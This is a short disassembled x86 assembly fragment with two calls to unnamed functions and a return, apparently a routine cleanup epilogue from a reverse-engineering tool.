mov edx, 2
call fcn.00404748
lea eax, [ebp - 4]
call fcn.00404724
ret